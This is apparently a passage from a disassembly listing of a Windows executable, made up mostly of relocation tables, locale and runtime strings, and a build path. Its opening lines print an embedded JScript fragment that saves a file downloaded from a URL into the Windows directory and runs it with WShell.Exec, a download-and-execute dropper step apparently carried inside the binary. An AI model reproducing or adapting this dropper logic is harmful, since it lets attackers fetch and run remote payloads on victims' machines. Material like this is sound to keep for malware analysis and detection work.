urlSaveFile(urlo, WShell.ExpandEnvironmentStrings("%' db 'windir%"));',0Dh,0Ah db 9,'if (fname) WShell.Exec(fname);',0Dh,0Ah db 9,'return fname;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah,0 dd 2E6h dup(0) dd 1000h, 74h, 3024300Ah, 304C3040h, 30633058h, 30A7308Dh dd 30CF30B7h, 31503113h, 31F631DFh, 34E1332Fh, 34F834EBh dd 350F3502h, 35263519h, 353D3530h, 35543547h, 356B355Eh dd 35823575h, 3599358Ch, 35AC35A3h, 36B635B6h, 37B8378Bh dd 385637DEh, 38D438B0h, 390E38F9h, 39883965h, 3A9D39FDh dd 3D8A3B46h, 3E2A3DEAh, 3E9Ah, 2000h, 50h, 30363024h dd 32FB30B6h, 34493331h, 34AA3490h, 360034C5h, 368E3620h dd 39E837DDh, 3A2B3A26h, 3AED3A5Dh, 3B2B3B11h, 3B513B32h dd 3B863B58h, 3C0A3BADh, 3C6B3C5Ah, 3C843C7Fh, 3C9C3C91h dd 3CB73CA6h, 3CC1h, 3000h, 54h, 38BB3040h, 38C338BFh dd 38CB38C7h, 38D338CFh, 38DB38D7h, 38E338DFh, 38EB38E7h dd 38F338EFh, 38FB38F7h, 390338FFh, 390B3907h, 3913390Fh dd 391B3917h, 3923391Fh, 392B3927h, 3933392Fh, 393B3937h dd 3E7639D6h, 3EBFh, 4000h, 0Ch, 312F30E6h, 5000h, 4Ch dd 38563004h, 3B643A76h, 3C163B70h, 3C4E3C28h, 3C873C7Ah dd 3C9D3C96h, 3CC13CAFh, 3CE63CD3h, 3D133D07h, 3D323D25h dd 3D563D3Ch, 3D8A3D72h, 3E323DEAh, 3E8C3E3Eh, 3F443F2Dh dd 3F613F4Eh, 3F86h, 6000h, 0BCh, 318F3188h, 31D53199h dd 31EE31DDh, 32B63240h, 32D432CFh, 32E332DAh, 3391331Ch dd 340F33E7h, 342D3418h, 34573440h, 34BD3493h, 3558352Ah dd 36013592h, 365F3646h, 366D3667h, 3684367Eh, 369D3696h dd 36BD36AAh, 372C36CAh, 37453736h, 375E374Fh, 3788376Bh dd 37A537A0h, 37B437ABh, 387C37E4h, 38A0388Eh, 38C238AEh dd 38DE38CCh, 38FE38EEh, 39323926h, 39693942h, 398F397Eh dd 39AB399Bh, 3A1439CFh, 3A5A3A54h, 3A883A7Fh, 3AD63A8Fh dd 3BA53B30h, 3C0B3C06h, 3CF63CD2h, 3D393D30h, 3E263DB5h dd 3F333EA6h, 3FC73FB6h, 3FE53FD8h, 7000h, 60h, 3034301Ah dd 30513044h, 310E30FCh, 31A63136h, 345C3246h, 3494346Eh dd 34A2349Ah, 354E3544h, 35753558h, 38F4357Fh, 3974390Ch dd 3982397Ah, 39D439A6h, 3A113A05h, 3A283A1Ch, 3B563AB0h dd 3B9F3B6Fh, 3C603C13h, 3CC33C6Ch, 3DC73D05h, 3EC63DCDh dd 3F23h, 8000h, 40h, 30EB3046h, 312B30F0h, 328931F6h dd 34493318h, 350734ECh, 35C4350Fh, 361635EAh, 36893640h dd 37463737h, 37B6376Ch, 384E37D3h, 3BA83B88h, 3BFC3BE6h dd 3CE9h, 9000h, 2Ch, 347131FBh, 35DE34E7h, 37EC3609h dd 380F3807h, 389C384Fh, 38BF38B7h, 3DE43B46h, 3DF23DEAh dd 3E5Eh, 0A000h, 28h, 322430C6h, 3286323Ch, 32DD32B0h dd 34D13336h, 36F63586h, 3D1638A0h, 3D863D40h, 3E9C3E86h dd 0B000h, 48h, 31433046h, 3157314Ch, 333C32CFh, 35833566h dd 37513745h, 391B3836h, 3BF83BDDh, 3CA83C18h, 3CE63CC8h dd 3D153D0Dh, 3D653D58h, 3DE53D7Ch, 3DF73DEEh, 3EA63E16h dd 3EE73EE2h, 3FBC3F98h, 0C000h, 58h, 303C301Ch, 331132F6h dd 33763358h, 33A5339Dh, 33F533E8h, 3476340Ch, 35423506h dd 35C83547h, 370C35ECh, 3774374Dh, 37B9377Dh, 385E37F9h dd 386D3867h, 3AA53A0Ah, 3B733AC3h, 3BF83BD8h, 3C9E3C4Ch dd 3D783D5Dh, 3E313E16h, 3FD63EA6h, 0D000h, 60h, 30E530A6h dd 316B311Eh, 32E63226h, 33663300h, 33C13391h, 341A33F1h dd 34B63463h, 364E3516h, 385237F0h, 386B385Dh, 38E538A4h dd 38FF38ECh, 396E3903h, 39C539ACh, 3AA53A62h, 3B863B4Eh dd 3BCB3B9Ch, 3CE53C43h, 3D6E3D3Eh, 3E303DF1h, 3F363EC3h dd 3FAAh, 0E000h, 44h, 30B6309Bh, 315230CFh, 316E315Dh dd 32D73179h, 331032E2h, 367A331Bh, 39833854h, 39D039A3h dd 3A843A24h, 3B323ABAh, 3BD43BB6h, 3D223CEAh, 3DCB3D82h dd 3EE63EACh, 3F41h, 0F000h, 78h, 30ED3058h, 312C310Dh dd 319C315Ch, 31C031B5h, 31CF31C9h, 31DC31D5h, 31E831E3h dd 31F731EFh, 320431FDh, 3212320Ch, 323D3219h, 325A3248h dd 32973290h, 32C032BCh, 32C832C4h, 33423337h, 33BE338Eh dd 34793456h, 35C5352Ah, 369335E3h, 371836F8h, 37BE376Ch dd 38F63866h, 3A593A44h, 3D643A9Eh, 3DF63DDDh, 3FD43FCAh dd 3FF43FE4h, 10000h, 0E4h, 3030300Dh, 30703042h, 317130B7h dd 31B73199h, 32103200h, 327B3244h, 32A2328Ah, 32D232CBh dd 334932EBh, 346F33F2h, 34C934B1h, 357534CEh, 374A372Fh dd 37D13790h, 3854383Ah, 3875385Dh, 38E33882h, 39113904h dd 396F3923h, 39823975h, 39ED39B7h, 3A613A5Bh, 3AB83AB2h dd 3B033AC8h, 3B133B09h, 3B803B68h, 3B8F3B87h, 3B983B94h dd 3BC53B9Ch, 3C093BEBh, 3C143C10h, 3C1C3C18h, 3C243C20h dd 3C2C3C28h, 3C7C3C76h, 3C843C80h, 3CEE3C88h, 3D143CF9h dd 3D203D1Bh, 3D283D24h, 3D733D49h, 3DAC3DA5h, 3DB43DB0h dd 3DBC3DB8h, 3DC43DC0h, 3E123DC8h, 3E1C3E18h, 3E243E20h dd 3E7C3E70h, 3EB23E83h, 3ECB3EC5h, 3EDC3ED0h, 3EFB3EE4h dd 3F0E3F09h, 3F18h, 11000h, 9Ch, 30DA30CCh, 311630E3h dd 312E3128h, 31853172h, 32FE31A0h, 35F833C3h, 36173610h dd 3624361Fh, 362C3628h, 367B3655h, 36A03699h, 36A836A4h dd 36B036ACh, 36B836B4h, 370636BCh, 3710370Ch, 37183714h dd 3789377Eh, 37AB37A4h, 37B437B0h, 37D937B8h, 38353803h dd 3840383Ch, 38483844h, 3850384Ch, 38583854h, 38A838A2h dd 38B038ACh, 398938B4h, 39A2399Ah, 3A1E39E0h, 3A443A23h dd 3A753A5Fh, 3CEE3CA2h, 3DF73DB2h, 3F593EF8h, 3FEDh, 12000h dd 90h, 30E330C0h, 310F30EEh, 3195315Eh, 332432CAh, 33703333h dd 33CE33B6h, 33FA33E2h, 346C3406h, 3485347Dh, 34A0348Eh dd 34BA34AEh, 34EB34E6h, 352234F5h, 3545353Dh, 3583354Bh dd 359A3589h, 35E535CBh, 366F35FCh, 36BC36ADh, 36E136D8h dd 37493733h, 375D3755h, 37713765h, 3787377Fh, 37A23798h dd 37DA37AAh, 37F037E4h, 381537FAh, 385F381Eh, 389B388Fh dd 38DD38C5h, 391C3912h, 3A7A39ACh, 3CA23ADEh, 13000h dd 11Ch, 31F031E8h, 320231FCh, 32233213h, 32313229h, 32583252h dd 32703263h, 32933287h, 33293301h, 3394338Dh, 33ED33D9h dd 340133FBh, 3420341Ah, 3431342Ch, 343F3439h, 344C3446h dd 34593453h, 34673461h, 3473346Eh, 347D3478h, 34883482h dd 3491348Ch, 349C3496h, 34C334A4h, 34D434C9h, 355134DDh dd 35623558h, 3598358Ch, 35C1359Eh, 35E135C8h, 35F935F3h dd 36113602h, 36C936A9h, 379A3784h, 37AD37A7h, 37BB37B2h dd 37C837C1h, 37F337D1h, 380937FAh, 38263820h, 383F3833h dd 384F3846h, 387D3856h, 38933889h, 38A5389Bh, 38B938ABh dd 38C638BFh, 38DA38D3h, 38E838E0h, 38F938EEh, 3B403901h dd 3B543B4Eh, 3B733B6Eh, 3B8B3B82h, 3BA33B98h, 3BC83BB5h dd 3BD93BD3h, 3BE43BDEh, 3C0E3BF1h, 3C1F3C14h, 3C2C3C24h dd 3C3C3C32h, 3C573C42h, 3C643C5Eh, 3C783C72h, 3C833C7Dh dd 3C9D3C91h, 3CCC3CBBh dd 3CE33CD2h, 3D46h, 14000h, 0FCh, 30E730E1h, 31733122h dd 33B933AEh, 33D433C1h, 33F533EFh, 340533FEh, 34493419h dd 3460345Bh, 348E3484h, 34B53495h, 34DB34D0h, 34E834E2h dd 34FB34F0h, 350A3502h, 35213510h, 35313526h, 35503536h dd 35A33598h, 35F135EBh, 36A83693h, 373836C0h, 374C373Eh dd 377F3759h, 379D3796h, 37BA37A3h, 37D237C1h, 37E737D9h dd 380F37FBh, 38533821h, 386D3863h, 38833879h, 3896388Bh dd 38DD38C1h, 390B38FEh, 39AA3938h, 3A3239C6h, 3AAA3A77h dd 3AC23AB0h, 3B033AE0h, 3B593B30h, 3BD23B92h, 3BE13BDAh dd 3BFF3BF0h, 3C1D3C0Eh, 3D2A3C34h, 3D813D61h, 3DD03D97h dd 3DFA3DEAh, 3E063DFFh, 3E183E0Eh, 3E283E22h, 3E603E52h dd 3E763E6Eh, 3E873E81h, 3EFA3E98h, 3F3D3F02h, 3F5D3F58h dd 3F853F69h, 3FA43F8Eh, 3FCC3FBCh, 3FF6h, 15000h, 0D4h dd 3041302Ch, 307A306Ch, 30A6308Ch, 30F630C1h, 31073102h dd 31463112h, 31693161h, 318E3172h, 31D031A2h, 31ED31E8h dd 31FA31F3h, 320F31FFh, 322B3215h, 32523243h, 32853266h dd 32E832AFh, 3348331Ah, 33DE3350h, 342B3417h, 34553439h dd 34DC34D4h, 34FC34F0h, 350C3504h, 351C3514h, 352C3524h dd 353C3534h, 354C3544h, 355C3554h, 35743565h, 365D3631h dd 386D3822h, 38B23896h, 3914390Ch, 39783966h, 3A1B39DFh dd 3AE33ABAh, 3B423B2Dh, 3BAF3BA1h, 3C4A3BBDh, 3C753C64h dd 3C8E3C80h, 3CA33C9Ch, 3CBB3CB2h, 3CE83CCCh, 3D0B3CF9h dd 3D303D14h, 3D5D3D53h, 3D823D66h, 3DAC3DA5h, 3E753E65h dd 3FBE3F47h, 16000h, 0B8h, 30DA3067h, 310A30E7h, 31303122h dd 3226313Eh, 33C23297h, 34473439h, 348F3459h, 352E3499h dd 35503538h, 35863578h, 370B3594h, 3744372Fh, 378C3786h dd 37E03798h, 380737E6h, 38573822h, 386F385Eh, 38A7389Dh dd 38E438CCh, 394D391Fh, 39AD395Bh, 39C439B3h, 3A0439E2h dd 3A213A12h, 3A643A57h, 3AA63A9Bh, 3AC03AAEh, 3B1D3ACBh dd 3C0C3BF3h, 3C5D3C4Ch, 3C6C3C65h, 3C793C71h, 3CD73CD0h dd 3CEF3CE5h, 3D143D08h, 3D273D20h, 3DA53D53h, 3DF73DBBh dd 3E133E07h, 3E4B3E1Ah, 3E5E3E57h, 3F123EA1h, 3F313F17h dd 3FE73F37h, 17000h, 110h, 3034301Ah, 30523047h, 308E3065h dd 30CD309Ah, 310130E2h, 311F3113h, 3148312Fh, 3162315Bh dd 31923183h, 31C631A4h, 31D531CFh, 31EA31E5h, 31FB31F4h dd 32093203h, 32173211h, 3228321Eh, 3237322Fh, 3259323Ch dd 32813269h, 32AB3292h, 3426340Ah, 3482343Eh, 3491348Ch dd 349B3496h, 34BC34AEh, 352A34C2h, 354E3536h, 35723565h dd 35AA358Dh, 35C535B8h, 35EF35D5h, 360D35FBh, 3637361Bh dd 366C3654h, 368C3683h, 36C53692h, 36F736D7h, 371E36FDh dd 37333724h, 3741373Ah, 3767374Ah, 3782377Ch, 3791378Ah dd 37C3379Ch, 37ED37DFh, 380437F7h, 381B380Eh, 382D3824h dd 386F3839h, 387F3877h, 38AE3894h, 38D738C7h, 391238E3h dd 39343923h, 394B3941h, 395D3955h, 396C3963h, 39783973h dd 39863981h, 39D039B9h, 3A0F39EBh, 3A463A19h, 3B263AA4h dd 3B683B47h, 3BDF3B8Fh, 3BE6h, 18000h, 190h, 310A30CEh dd 31183110h, 3123311Fh, 31423138h, 315F3154h, 317B3170h dd 319E3195h, 31B331A5h, 31D131C4h, 31DC31D7h, 31FE31E2h dd 3242322Dh, 32E13252h, 32EE32E7h, 32FE32F6h, 331E330Dh dd 3333332Dh, 33423339h, 33693348h, 33863374h, 33A33391h dd 33C033AEh, 33DD33CBh, 33FA33E8h, 34163405h, 343A3421h dd 344B3443h, 34573451h, 3461345Bh, 34B534A0h, 362634CFh dd 36363630h, 364A363Fh, 365E3659h, 36763664h, 3691367Fh dd 36A1369Ch, 371E3718h, 37A2373Ch, 380337FEh, 38383809h dd 3842383Ch, 38633848h, 3939387Ch, 39463941h, 3957394Bh dd 397C396Bh, 39A939A3h, 3A0139D0h, 3A563A24h, 3A6C3A61h dd 3A803A76h, 3A943A8Ah, 3B393B20h, 3B593B4Fh, 3B823B66h dd 3B8F3B89h, 3BB43B94h, 3BF13BD3h, 3C253BFCh, 3C543C3Eh dd 3C703C5Eh, 3CA43C94h, 3CC83CB6h, 3CD83CD0h, 3CEF3CE0h dd 3D073D01h, 3D193D0Eh, 3D2A3D22h, 3D453D3Eh, 3D653D4Bh dd 3D7F3D75h, 3DA53D92h, 3DB43DACh, 3DC73DBCh, 3DDB3DD4h dd 3E093DEAh, 3E183E10h, 3E3F3E1Dh, 3E6E3E58h, 3E853E78h dd 3EA23E96h, 3EB93EAAh, 3EDF3ED8h, 3EEA3EE5h, 3F1A3F05h dd 3F253F1Fh, 3F343F2Bh, 3F473F3Ch, 3F663F54h, 3F763F6Eh dd 3F8A3F7Eh, 3F9B3F94h, 3FA63FA1h, 3FC23FBAh, 3FDD3FD5h dd 3FF33FE9h, 3FFAh, 19000h, 100h, 30063000h, 301A300Fh dd 302B3023h, 30383030h, 3055303Ch, 3065305Ah, 3077306Ch dd 3087307Ch, 30AE30A7h, 30C630B5h, 311F30F6h, 3135312Fh dd 31523149h, 318A3171h, 31A5319Fh, 31DA31CDh, 31F031E9h dd 320231FAh, 3216320Dh, 32643240h, 32F432E2h, 33233316h dd 34133368h, 342F3423h, 34403436h, 34533448h, 3472345Ch dd 349D3490h, 354D34CAh, 35DF35B5h, 364F363Bh, 36AA369Dh dd 36E536C7h, 370536F3h, 37B637A6h, 37F537CFh, 38323822h dd 38743852h, 38B238A1h, 38FB38DFh, 39633958h, 3999398Bh dd 39DA39A1h, 3A5839ECh, 3A883A65h, 3AC63ABEh, 3B3E3B1Dh dd 3B703B4Ah, 3B823B7Dh, 3BE23B90h, 3C3B3C31h, 3D0E3D04h dd 3DA13D93h, 3E3D3DAFh, 3EA53E6Ch, 3EB23EABh, 3EBF3EB8h dd 3EEC3EC5h, 3F5B3EF2h, 3F6A3F64h, 3FF23FE5h, 3FFFh, 1A000h dd 7Ch, 3015300Bh, 3028301Dh, 30803051h, 312530A4h, 317A313Fh dd 321131EEh, 32553248h, 332832A7h, 33AA337Fh, 34C63488h dd 3599355Fh, 361D35B4h, 37E837AEh, 38553822h, 38713865h dd 3883387Bh, 3897388Eh, 38CB38ADh, 394338DCh, 39853963h dd 39A13992h, 39B339ABh, 39C739BEh, 39FE39EDh, 3A8F3A6Dh dd 3DAE3AB5h, 3DD23DC9h, 3E693E61h, 3EA33E72h, 1B000h dd 0E0h, 30413020h, 30A53079h, 30FA30DCh, 311030FFh, 314A3126h dd 316B314Fh, 31BB3192h, 3254324Ch, 326D325Eh, 3280327Ah dd 3299328Ah, 32CD32B4h, 32FB32DAh, 336C3321h, 339D3393h dd 33C733AAh, 33DD33D2h, 342D3404h, 34453438h, 346D3462h dd 34BD3485h, 34DE34CDh, 357134F6h, 358F3587h, 35A53595h dd 35EE35C9h, 360E35FEh, 362F3624h, 36553647h, 3670365Ch dd 375736D4h, 37893780h, 381037A7h, 383D3831h, 38973852h dd 38AE38A4h, 38DE38B3h, 39E839D7h, 3A9A39FDh, 3ADC3AA2h dd 3B463AF1h, 3C683C2Eh, 3CD23C7Dh, 3CE83CDDh, 3CFE3CF3h dd 3D173D04h, 3D263D1Eh, 3D333D2Dh, 3D463D3Bh, 3DE33D6Eh dd 3F453F28h, 3F723F67h, 3FB03FA0h, 3FE23FDAh, 1C000h dd 0DCh, 30103000h, 30273022h, 31B030A3h, 324331D0h, 325B3250h dd 32953261h, 33AE334Eh, 34B53490h, 35A934F0h, 35D935BBh dd 362A35F9h, 36823651h, 36A13691h, 36C136B1h, 3753370Ah dd 37893773h, 37D437B4h, 380937E9h, 38753829h, 38A43881h dd 38FC38E3h, 39393919h, 39793967h, 39C939ADh, 3A0939E9h dd 3A493A29h, 3A813A6Ch dd 3AC43A99h, 3AFC3AD9h, 3B473B24h, 3B713B59h, 3BA93B94h dd 3BFF3BC9h, 3C4C3C32h, 3CB93C94h, 3CDD3CCBh, 3D143CEFh dd 3D643D26h, 3D943D80h, 3DB63D9Eh, 3DC83DC3h, 3DD23DCEh dd 3DDD3DD7h, 3DEF3DEAh, 3E053DF9h, 3E1B3E0Fh, 3E313E25h dd 3E473E3Dh, 3E643E53h, 3E7B3E70h, 3E853E7Fh, 3E993E8Fh dd 3EAD3EA3h, 1D000h, 160h, 32883280h, 32983290h, 32C032A4h dd 32EC32D8h, 3450344Ch, 34583454h, 3460345Ch, 34683464h dd 3470346Ch, 34783474h, 34E834E4h, 34F834F0h, 35083500h dd 35303514h, 355C3548h, 36483640h, 36583650h, 36803664h dd 36AC3698h, 38B438ACh, 38C438BCh, 38EC38D0h, 39183904h dd 3BD83BD4h, 3C083C04h, 3C103C0Ch, 3C183C14h, 3C203C1Ch dd 3C283C24h, 3C303C2Ch, 3C5C3C44h, 3C643C60h, 3C6C3C68h dd 3C743C70h, 3C7C3C78h, 3C8C3C80h, 3C943C90h, 3C9C3C98h dd 3CA43CA0h, 3CAC3CA8h, 3CE03CD4h, 3CE83CE4h, 3CF03CECh dd 3CF83CF4h, 3D003CFCh, 3D083D04h, 3D103D0Ch, 3D183D14h dd 3D203D1Ch, 3D283D24h, 3D303D2Ch, 3D383D34h, 3D403D3Ch dd 3D483D44h, 3D543D50h, 3D5C3D58h, 3D643D60h, 3D6C3D68h dd 3D743D70h, 3D7C3D78h, 3D843D80h, 3D8C3D88h, 3D943D90h dd 3DA43D98h, 3DAC3DA8h, 3DB43DB0h, 3DBC3DB8h, 3E143E10h dd 3E1C3E18h, 3E243E20h, 3E2C3E28h, 3E343E30h, 3E3C3E38h dd 3E443E40h, 3E4C3E48h, 3E543E50h, 3E5C3E58h, 3E643E60h dd 3E6C3E68h, 3E743E70h, 3E7C3E78h, 3E843E80h, 3E8C3E88h dd 3EE03EDCh, 3EE83EE4h, 3EF03EECh, 1E000h, 0C8h, 30483040h dd 30583050h, 30683060h, 30783070h, 30883080h, 30983090h dd 30A830A0h, 30E430E0h, 30EC30E8h, 30F430F0h, 30FC30F8h dd 31043100h, 31343108h, 31443138h, 31583148h, 3160315Ch dd 31A03170h, 31C031B0h, 31DC31D0h, 31F031E0h, 32103200h dd 32303220h, 32503240h, 326C3260h, 32883278h, 3290328Ch dd 32AC3294h, 32B432B0h, 32C032BCh, 34B834B4h, 34C834C4h dd 34D834D4h, 34F034E8h, 34FC34F4h, 35103500h, 351C3518h dd 35283524h, 35443538h, 35B83590h, 35D435C8h, 35E035D8h dd 37C035E4h, 3CF037D8h, 3D103D00h, 3D303D20h, 3D503D40h dd 3D603D5Ch, 3D703D6Ch, 1F000h, 130h, 31E431B0h, 31F431E8h dd 333431F8h, 3360333Ch, 338C3368h, 33B83394h, 33E433C0h dd 341033ECh, 343C3418h, 34683444h, 34943470h, 34C0349Ch dd 34EC34C8h, 351834F4h, 35443520h, 3570354Ch, 359C3578h dd 35C835A4h, 35F435D0h, 362035FCh, 364C3628h, 36783654h dd 36A43680h, 36D036ACh, 36FC36D8h, 37283704h, 37543730h dd 3780375Ch, 37AC3788h, 395837B4h, 39683960h, 39783970h dd 39883980h, 39983990h, 39A839A0h, 39B839B0h, 39C839C0h dd 39D839D0h, 39E839E0h, 39F839F0h, 3A083A00h, 3B103B08h dd 3B203B18h, 3B303B28h, 3B403B38h, 3B503B48h, 3B603B58h dd 3B703B68h, 3B803B78h, 3B903B88h, 3BA03B98h, 3BB03BA8h dd 3BC03BB8h, 3BD03BC8h, 3BE03BD8h, 3BF03BE8h, 3C003BF8h dd 3C103C08h, 3C203C18h, 3C303C28h, 3C403C38h, 3C503C48h dd 3C603C58h, 3C703C68h, 3C803C78h, 3C903C88h, 3CA03C98h dd 3CB03CA8h, 3CC03CB8h, 3CD03CC8h, 3CE03CD8h, 3CF03CE8h dd 3D003CF8h, 3D08h, 20000h, 1E4h, 31483144h, 31583154h dd 31643160h, 31803170h, 319C3190h, 31B831A8h, 31D431C8h dd 31E031D8h, 31EC31E4h, 323C31F0h, 324C3240h, 32583250h dd 3260325Ch, 32683264h, 3270326Ch, 32C03274h, 32C832C4h dd 32D032CCh, 32D832D4h, 32E032DCh, 3380337Ch, 33883384h dd 33A83398h, 33C833B8h, 33E833D8h, 3430342Ch, 348C3474h dd 34B034A0h, 34B834B4h, 34E434D0h, 34F834F4h, 351434FCh dd 352C3518h, 3540353Ch, 355C3544h, 35783574h, 359C358Ch dd 35A435A0h, 35C035BCh, 35E435D4h, 35EC35E8h, 36083604h dd 3620360Ch, 36343630h, 36503638h, 36683654h, 367C3678h dd 36983680h, 36A0369Ch, 36C436B4h, 36CC36C8h, 36E836E4h dd 370036ECh, 37143710h, 37303718h, 37543744h, 375C3758h dd 37783774h, 379C378Ch, 38C437A0h, 38D438CCh, 38E438DCh dd 38F438ECh, 390438FCh, 3914390Ch, 39383920h, 395C3944h dd 39803968h, 39AC399Ch, 39C039B4h, 39E439D8h, 3A0439FCh dd 3A283A10h, 3A383A30h, 3A743A44h, 3A943A88h, 3AC43A9Ch dd 3AE43AD8h, 3B143AECh, 3B343B28h, 3B643B3Ch, 3B843B78h dd 3B9C3B8Ch, 3BAC3BA4h, 3BBC3BB4h, 3BD03BC4h, 3BF03BE8h dd 3C003BF8h, 3C103C08h, 3C343C1Ch, 3C483C3Ch, 3C6C3C60h dd 3C8C3C84h, 3CB03C98h, 3CC43CB8h, 3CE83CDCh, 3D0C3D00h dd 3D303D24h, 3D503D48h, 3D743D5Ch, 3D843D7Ch, 3D943D8Ch dd 3DD03DA0h, 3DF03DE4h, 3E103DF8h, 3E303E20h, 3E503E44h dd 3E683E58h, 3E783E70h, 3E9C3E84h, 3EC03EA8h, 3EE43ECCh dd 3F083EF0h, 3F2C3F14h, 3F503F38h, 3F843F70h, 3F983F90h dd 3FB43FA8h, 3FEC3FCCh, 21000h, 100h, 300C3000h, 30243014h dd 30483030h, 306C3054h, 30903078h, 30DC309Ch, 310030ECh dd 31203114h, 31383128h, 3154314Ch, 31703168h, 317C3174h dd 318C3184h, 31B03198h, 31C431B8h, 31E831DCh, 32083200h dd 322C3214h, 32403234h, 32643258h, 32B432A4h, 32DC32C8h dd 32F032E8h, 330C3300h, 332C3324h, 3360334Ch, 3374336Ch dd 33903384h, 33B033A8h, 33C433B8h, 33F433DCh, 341C33FCh dd 3440342Ch, 34603454h, 34783468h, 349C3484h, 34B034A4h dd 34DC34C8h, 34F834E4h, 35043500h, 35103508h, 35203518h dd 35303528h, 3554353Ch, 35783560h, 3594358Ch, 35B035A8h dd 35B835B4h, 35C835C0h, 35DC35D0h, 360035F4h, 362C3618h dd 36383634h, 3644363Ch, 3654364Ch, 3664365Ch, 36883670h dd 36AC3694h, 36BC36B4h, 36CC36C4h, 36F036D8h, 370436F8h dd 23000h, 148h, 30083004h, 3010300Ch, 30183014h, 3020301Ch dd 302C3024h, 303C3038h, 30443040h, 305C3050h, 30743070h dd 30983094h, 30A0309Ch, 30A830A4h, 30B030ACh, 30C030B4h dd 30DC30C4h, 312030F4h, 31403138h, 31483144h, 32C832B8h dd 32D432CCh, 34183410h, 3420341Ch, 34283424h, 3430342Ch dd 34383434h, 3440343Ch, 34483444h, 3450344Ch, 35C03454h dd 35C835C4h, 390435D0h, 3914390Ch, 3924391Ch, 3934392Ch dd 3944393Ch, 3954394Ch, 3964395Ch, 3974396Ch, 3984397Ch dd 3994398Ch, 3AA03A9Ch, 3AA83AA4h, 3AB03AACh, 3AB83AB4h dd 3AC03ABCh, 3AC83AC4h, 3AD03ACCh, 3AD83AD4h, 3AE03ADCh dd 3AE83AE4h, 3AF03AECh, 3AF83AF4h, 3B003AFCh, 3B083B04h dd 3B103B0Ch, 3B183B14h, 3B203B1Ch, 3B283B24h, 3B303B2Ch dd 3B383B34h, 3B403B3Ch, 3B483B44h, 3B603B5Ch, 3B683B64h dd 3B703B6Ch, 3B783B74h, 3B803B7Ch, 3C303B8Ch, 3CC43C34h dd 3CFC3CE0h, 3D443D1Ch, 3D843D64h, 3DA83DA4h, 3DB03DACh dd 3DB83DB4h, 3DC03DBCh, 3DC83DC4h, 3DD03DCCh, 3DD83DD4h dd 3E003DE0h, 205h dup(0) dd 69686300h, 6573656Eh, 6E6F682Dh, 6E6F6B67h, 67h, 69686300h dd 6573656Eh, 69686300h, 68686300h, 6E616300h, 61696461h dd 6Eh, 6C656200h, 6E616967h, 73756100h, 6C617274h, 6E6169h dd 656D6100h, 61636972h, 6E652D6Eh, 73696C67h, 68h, 656D6100h dd 61636972h, 6E65206Eh, 73696C67h, 68h, 656D6100h, 61636972h dd 6Eh, 50434F00h, 50434100h, 726F4E00h, 69676577h, 4E2D6E61h dd 726F6E79h, 6B73h, 0FFFFFF00h, 192A3FFh, 192A710h, 10h dd 0FFFFFF00h, 19507FFh, 1950B10h, 0FFFFFF10h, 19579FFh dd 1957D10h, 0FFFFFF10h, 0FFh, 1977700h, 10h, 0FFFFFF00h dd 0FFh, 1997000h, 10h, 0FFFFFF00h, 0FFh, 19B1100h, 10h dd 0 dd 19A7100h, 0FFFFFF10h, 0FFh, 19BAC00h, 10h, 0FFFFFF00h dd 0FFh, 19E1400h, 10h, 0FFFFFF00h, 0FFh, 19F9C00h, 10h dd 0FFFFFF00h, 1A2DBFFh, 1A2DF10h, 0FFFFFF10h, 1A0D8FFh dd 1A0DC10h, 0FFFFFF10h, 1A1A6FFh, 1A1AA10h, 6E755310h dd 546E6F4Dh, 65576575h, 75685464h, 53697246h, 7461h, 6E614A00h dd 4D626546h, 70417261h, 79614D72h, 4A6E754Ah, 75416C75h dd 70655367h, 4E74634Fh, 6544766Fh, 63h, 0 dd 0FFFFFF00h, 1A90AFFh, 1A90E10h, 10h, 0FFFFFF00h, 1AA31FFh dd 1AA3510h, 0FFFFFF10h, 20590FFh, 0A25010h, 205D810h dd 1AEC210h, 1AEB410h, 2062410h, 1B05B10h, 1AEB410h, 736F6910h dd 7361625Fh, 653A3A65h, 6962666Fh, 65732074h, 74h, 736F6900h dd 7361625Fh, 663A3A65h, 626C6961h, 73207469h, 7465h, 736F6900h dd 7361625Fh, 623A3A65h, 69626461h, 65732074h, 74h, 2066C00h dd 1B33210h, 1AEB410h, 206B810h, 1B34E10h, 1AEB410h, 2070410h dd 1B37510h, 1AEB410h, 766E6910h, 64696C61h, 72747320h dd 20676E69h, 69736F70h, 6E6F6974h, 72747300h, 20676E69h dd 206F6F74h, 676E6F6Ch, 622B6100h, 622B7700h, 622B7200h dd 2B6100h, 2B7700h, 2B7200h, 626100h, 627700h, 627200h dd 6100h, 7700h, 7200h, 100h, 200h, 1200h, 0A00h, 2100h dd 2200h, 3200h, 2A00h, 300h, 1300h, 0B00h, 2300h, 3300h dd 2B00h, 0 dd 10000h, 2074800h, 0BFE010h, 2079010h, 1B73A10h, 2A10h dd 0FFFFFF00h, 0FFh, 1BA8200h, 10h, 0FFFFFF00h, 0FFh, 1BB2E00h dd 10h, 0FFFFFF00h, 0FFh, 1BCBA00h, 10h, 0FFFFFF00h, 0FFh dd 1BDBD00h, 10h, 0FFFFFF00h, 0FFh, 1C05800h, 10h, 0FFFFFF00h dd 0FFh, 1C39000h, 10h, 4800h, 0Eh dup(0) dd 2310C00h, 207B010h, 4010h, 44535200h, 2DEAB53h, 8D45F3E5h dd 0A348748h, 220FBE1Dh, 203h, 5C3A6400h, 6A6F7270h, 73746365h dd 2 dup(6374545Ch), 6C65525Ch, 65736165h, 4354545Ch, 6264702Eh dd 2312000h, 10h, 0 dd 0FFFFFF00h, 0FFh, 0 dd 2047400h, 10h, 2 dup(0) dd 100h, 2048C00h, 10h, 2 dup(0) dd 2312000h, 2049410h, 230DC10h, 10h, 0 dd 0FFFFFF00h, 0FFh, 0 dd 204B800h, 10h, 2 dup(0) dd 100h, 204D000h, 10h, 2 dup(0) dd 230DC00h, 204D810h, 230F410h, 110h, 0 dd 0FFFFFF00h, 0FFh, 0 dd 204FC00h, 204B810h, 10h, 2 dup(0) dd 200h, 2051400h, 10h, 2 dup(0) dd 230F400h, 2052010h, 23CC410h, 10h, 400h, 0FFFFFF00h dd 0FFh, 0 dd 23CE000h, 110h, 0 dd 0FFFFFF00h, 0FFh, 0 dd 2055C00h, 2054410h, 10h, 2 dup(0) dd 200h, 2057400h, 10h, 2 dup(0) dd 23CE000h, 2058010h, 23CFC10h, 110h, 0 dd 0FFFFFF00h, 0FFh, 0 dd 205A400h, 204B810h, 10h, 2 dup(0) dd 200h, 205BC00h, 10h, 2 dup(0) dd 23CFC00h, 205C810h, 23D1C10h, 210h, 0 dd 0FFFFFF00h, 0FFh, 0 dd 205EC00h, 